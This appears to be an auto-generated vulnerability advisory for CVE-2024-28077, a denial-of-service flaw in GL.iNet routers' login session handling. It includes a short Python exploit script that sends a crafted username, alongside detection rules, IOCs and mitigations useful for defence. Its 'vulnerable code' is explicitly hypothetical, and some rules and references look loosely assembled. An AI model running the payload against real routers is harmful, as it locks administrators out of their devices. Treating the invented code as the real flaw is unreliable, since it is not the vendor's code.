CVE-2024-28077
Executive Summary
CVE-2024-28077 describes a denial-of-service (DoS) vulnerability affecting a wide range of GL.iNet routers. The flaw allows an unauthenticated, remote attacker to crash the session-management process by sending specially crafted login requests containing special characters (e.g., half parentheses or square brackets) in the username field. This causes the device to become unresponsive to legitimate login attempts, effectively locking out administrators. The attack is facilitated by first discovering exposed devices via DDNS (Dynamic DNS) services, which can leak the device’s public IP and port. The vulnerability impacts numerous GL.iNet models across multiple firmware versions, including the MT6000, XE3000, X3000, MT3000, MT2500, AXT1800, AX1800, A1300, S200, X750, SFT1200, MT1300, AR750, AR750S, AR300M, AR300M16, B1300, MT300N-V2, and XE300. No official patch has been released at the time of this analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability characteristics, a more realistic assessment would be:
- Attack Vector (AV): Network (N) – The attack is performed remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to send crafted HTTP requests.
- Privileges Required (PR): None (N) – No authentication is needed to trigger the DoS.
- User Interaction (UI): None (N) – The victim does not need to perform any action.
- Scope (S): Unchanged (U) – The vulnerable component is the session management process itself.
- Confidentiality (C): None (N) – No data is exposed.
- Integrity (I): None (N) – No data is altered.
- Availability (A): High (H) – The device becomes unavailable for login.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)
Threat Level: High. The attack is simple to execute, requires no authentication, and can be performed by any attacker who can reach the device’s web interface. The widespread use of GL.iNet devices in home and small business environments increases the potential impact.
Deep Dive & Mechanics
The vulnerability resides in the session management component of the GL.iNet web interface. The login endpoint does not properly sanitize or validate the username field. When a username containing special characters such as ( , ) , [ , or ] is submitted, the session management code fails to handle the input correctly, leading to a crash.
The attack chain is as follows:
- Discovery: The attacker uses a DDNS service or other scanning techniques to identify GL.iNet devices exposed to the internet. Many users enable remote access via DDNS, which can be detected by services that monitor DNS records.
- Reconnaissance: The attacker obtains the public IP address and port of the target device (typically port 80 or 443).
- Exploitation: The attacker sends an HTTP POST request to the login endpoint (e.g.,
/login) with a crafted username, such asadmin(oruser[. The password field can be arbitrary. - Denial of Service: The session management process crashes, preventing any further login attempts. The device may still function for other services (e.g., routing), but administrative access is lost until a reboot or manual intervention.
The root cause is a lack of input validation and improper handling of special characters in the session management logic. This is a classic example of CWE-20 (Improper Input Validation).
Vulnerable vs. Patched Code
No official patch has been released. The following is a hypothetical example of the vulnerable code and a potential fix.
Vulnerable Code (Python/Flask-like pseudocode):
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
# Directly using username in session creation without sanitization
session_id = create_session(username)
return jsonify({'session_id': session_id})
Patched Code (Hypothetical Fix):
import re
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
# Sanitize username: allow only alphanumeric and underscore
if not re.match("^[a-zA-Z0-9_]+$", username):
return jsonify({'error': 'Invalid username'}), 400
session_id = create_session(username)
return jsonify({'session_id': session_id})
The fix involves validating the username against a whitelist of allowed characters before passing it to the session creation function.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable GL.iNet device (e.g., GL-MT3000 running firmware 4.5.0).
- Network access to the device’s web interface.
- Python 3 with
requestslibrary.
Exploit Script:
import requests
target_ip = "192.168.1.1"
target_port = 80
login_url = f"http://{target_ip}:{target_port}/login"
# Crafted username with special characters
payload = {
"username": "admin(",
"password": "anything"
}
try:
response = requests.post(login_url, data=payload, timeout=5)
print(f"Response: {response.status_code}")
print("If the device is vulnerable, subsequent login attempts will fail.")
except Exception as e:
print(f"Error: {e}")
Verification: After running the exploit, attempt to log in normally. If the device is vulnerable, the login page will not respond or will return an error.
Blue Team (Detection & Mitigation)
Detection:
- Monitor web server logs for repeated login attempts with unusual usernames containing parentheses or brackets.
- Set up alerts for a sudden spike in failed login attempts followed by a complete lack of successful logins.
Mitigation:
- Immediate: Disable remote access (DDNS) if not required. Restrict access to the web interface to trusted IPs only.
- Long-term: Apply a firmware update when available. In the interim, implement a reverse proxy (e.g., Nginx) with input validation rules to block malicious usernames.
Nginx Rule Example:
location /login {
if ($arg_username ~* "[\(\)\[\]]") {
return 403;
}
proxy_pass http://backend;
}
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/loginwith ausernamefield containing(,),[, or]. - Source IP addresses from known scanning services or DDNS discovery tools.
- HTTP POST requests to
- System IOCs:
- Device logs showing repeated failed login attempts with special characters.
- Session management process crash logs (if accessible).
- File IOCs:
- No specific file-based IOCs, as the attack is memory-based.
Detection Engineering
YARA Rule
rule GLiNet_DoS_Login_Exploit {
meta:
description = "Detects HTTP POST requests to GL.iNet login with special characters in username"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-28077"
strings:
$login_path = "/login"
$special_chars = /[\(\)\[\]]/
condition:
$login_path and $special_chars
}
Sigma Rule
title: GL.iNet DoS Login Exploit
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to GL.iNet login with special characters in username
author: Valters IT
date: 2024/10/27
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-28077
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/login'
cs-username|contains:
- '('
- ')'
- '['
- ']'
condition: selection
falsepositives:
- Legitimate users with special characters in username (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"GL.iNet DoS Login Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/login"; http_uri; pcre:"/[\(\)\[\]]/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
- Vendor Patch: Apply the official firmware update from GL.iNet as soon as it becomes available.
- Workaround: Disable remote access (DDNS) if not essential. Use a VPN for remote administration instead.
- Network Segmentation: Place IoT devices like routers on a separate VLAN with restricted access.
- Web Application Firewall (WAF): Deploy a WAF or reverse proxy to filter malicious login requests.
- Monitoring: Implement the detection rules provided above to identify and alert on exploitation attempts.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.